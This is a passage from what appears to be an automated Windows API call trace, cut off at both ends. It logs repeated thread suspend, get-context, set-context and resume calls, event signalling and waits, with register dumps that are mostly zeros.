[116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.582] ResumeThread (hThread=0x16c) returned 0x1 [0175.582] CloseHandle (hObject=0x16c) returned 1 [0175.582] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4b3bf6d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4b3bf6d8*=0x16c) returned 1 [0175.582] SuspendThread (hThread=0x16c) returned 0x0 [0175.582] GetThreadContext (in: hThread=0x16c, lpContext=0x4b3bf6f0 | out: lpContext=0x4b3bf6f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffb28, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fffccacb094, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0175.602] SetEvent (hEvent=0x174) returned 1 [0175.602] ResumeThread (hThread=0x16c) returned 0x1 [0175.602] CloseHandle (hObject=0x16c) returned 1 [0175.602] SwitchToThread () returned 1 [0175.612] VirtualAlloc (lpAddress=0xc00025e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00025e000 [0175.613] SetEvent (hEvent=0x124) returned 1 [0175.614] SetEvent (hEvent=0xec) returned 1 [0175.614] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0175.671] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0176.135] SetEvent (hEvent=0x124) returned 1 [0176.135] SetEvent (hEvent=0xec) returned 1 [0176.135] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0176.209] SetEvent (hEvent=0x124) returned 1 [0176.209] SetEvent (hEvent=0xec) returned 1 [0176.209] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0176.222] SetEvent (hEvent=0x124) returned 1 [0176.222] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0176.248] SetEvent (hEvent=0x124) returned 1 [0176.248] SetEvent (hEvent=0x104) returned 1 [0176.248] SetEvent (hEvent=0xec) returned 1 [0176.248] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0176.667] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0176.837] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0179.789] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0179.866] SetEvent (hEvent=0xec) returned 1 [0179.866] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0180.453] SetEvent (hEvent=0xec) returned 1 [0180.453] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0180.948] SetEvent (hEvent=0x124) returned 1 [0180.950] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4b3bf6d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4b3bf6d8*=0x184) returned 1 [0180.950] SuspendThread (hThread=0x184) returned 0x0 [0180.950] GetThreadContext (in: hThread=0x184, lpContext=0x4b3bf6f0 | out: lpContext=0x4b3bf6f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e08, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x235ee00, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0181.049] SetThreadContext (hThread=0x184, lpContext=0x4b3bf6f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0181.058] ResumeThread (hThread=0x184) returned 0x1 [0181.058] CloseHandle (hObject=0x184) returned 1 [0181.058] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4b3bf6d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4b3bf6d8*=0x184) returned 1 [0181.058] SuspendThread (hThread=0x184) returned 0x0 [0181.058] GetThreadContext (in: hThread=0x184, lpContext=0x4b3bf6f0 | out: lpContext=0x4b3bf6f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0181.064] ResumeThread (hThread=0x184) returned 0x1 [0181.064] CloseHandle (hObject=0x184) returned 1 [0181.064] SwitchToThread () returned 1 [0181.065] SetEvent (hEvent=0x124) returned 1 [0181.067] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b3bfcc8*=0x114, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0181.123] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0181.123] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b3bfcc8*=0x114, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0181.207] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0181.207] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b3bfcc8*=0x114, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0181.225] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0181.225] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b3bfcd8*=0x114, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0181.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4b3bfcd8*=0x114, 